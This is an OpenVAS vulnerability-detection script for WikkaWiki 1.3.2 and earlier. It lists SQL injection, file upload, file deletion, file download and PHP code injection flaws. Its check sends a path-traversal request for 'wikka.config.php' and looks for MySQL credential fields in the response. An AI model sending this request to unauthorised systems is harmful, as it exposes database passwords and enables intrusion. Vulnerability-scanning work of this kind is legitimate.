WikkaWiki Multiple Security Vulnerabilities

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_wikka_50866.nasl 5719 2017-03-24 13:29:29Z cfi $
#
# WikkaWiki Multiple Security Vulnerabilities
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "WikkaWiki is prone to multiple security vulnerabilities, including:

1. An SQL injection vulnerability.
2. An arbitrary file upload vulnerability.
3. An arbitrary file deletion vulnerability.
4. An arbitrary file download vulnerability.
5. A PHP code injection vulnerability.

Attackers can exploit these issues to modify the logic of SQL queries;
upload, delete, or download arbitrary files; or inject and execute
arbitrary PHP code in the context of the affected application. Other
attacks may also be possible.

WikkaWiki 1.3.2 and prior versions are vulnerable.";

if (description)
{
 script_id(103350);
 script_bugtraq_id(50866);
 script_cve_id("CVE-2011-4448","CVE-2011-4449","CVE-2011-4450","CVE-2011-4451");
 script_version ("$Revision: 5719 $");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_name("WikkaWiki Multiple Security Vulnerabilities");
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/50866");
 script_xref(name : "URL" , value : "http://wikkawiki.org/");
 script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/520687");
 script_tag(name:"last_modification", value:"$Date: 2017-03-24 14:29:29 +0100 (Fri, 24 Mar 2017) $");
 script_tag(name:"creation_date", value:"2011-12-01 11:51:48 +0100 (Thu, 01 Dec 2011)");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port( default:80 );
if( ! can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/wikka", "/wikki", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";   
  url = string(dir, "/test/files.xml?action=download&file=/../../wikka.config.php"); 

  if( http_vuln_check( port:port, url:url, pattern:"mysql_host", extra_check:make_list( "mysql_database", "mysql_user", "mysql_password" ) ) ) {
    report = report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );